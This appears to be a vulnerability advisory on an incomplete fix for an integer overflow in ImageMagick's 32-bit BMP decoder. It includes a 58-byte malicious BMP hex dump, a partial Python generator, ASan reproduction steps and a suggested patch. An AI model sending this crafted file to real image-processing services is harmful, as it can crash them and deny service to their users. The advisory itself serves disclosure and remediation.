Out-of-bounds read In imagemagick

Description

ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions:

    ImageMagick < 7.1.2-2 (originally reported)

    ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements:

    32-bit systems ONLY (i386, i686, armv7l, etc.)

    Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))

    Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).


Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)...

Why the Patch Fails

Attack Vector (32-bit system):

Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)...

The check fails because:

    The overflow happens at Line 1120 (extent calculation)

    extent becomes 0 due to 32-bit truncation

    bytes_per_line is calculated as 0 (Line 1121)

    BMPOverflowCheck(0, 1) returns False (no overflow detected)

    Code proceeds with corrupted values → ASan crash


PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Key Fields:

    Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)

    Offset 0x16: Height = 01 00 00 00 = 1

    Offset 0x1C: BPP = 20 00 = 32

Python Generator

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP File Header (14 bytes)...

Reproduction Steps

Environment Setup

# Use 32-bit Docker container
docker run -it --name test-32bit i386/ubuntu:latest bash

# Install dependencies
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev...

Build with AddressSanitizer (32-bit IMPORTANT!)

# Configure for 32-bit build (CRITICAL - must be 32-bit!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \...

AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: 
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow...

It operates in the following environments.

export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

Impact

Attack Scenario

    Attacker creates a 58-byte malicious BMP file

    Uploads to web service that uses ImageMagick (on 32-bit system)

    ImageMagick attempts to process the image

    Integer overflow triggers AddressSanitizer crash

    Service becomes unavailable (Denial of Service)

Real-world targets:

    Web hosting platforms with image processing

    CDN services with thumbnail generation

    Legacy embedded systems

    IoT devices running 32-bit Linux

    Docker containers using 32-bit base images


Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

// Add overflow check BEFORE calculating extent
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);
...

Alternative: Use 64-bit Arithmetic

// Force 64-bit calculation
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);...

Credits

wooseokdotkim [email protected]

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions

1-10 of 12

10

FLAT-K44JZ – Vulnerability | Fluid Attacks Database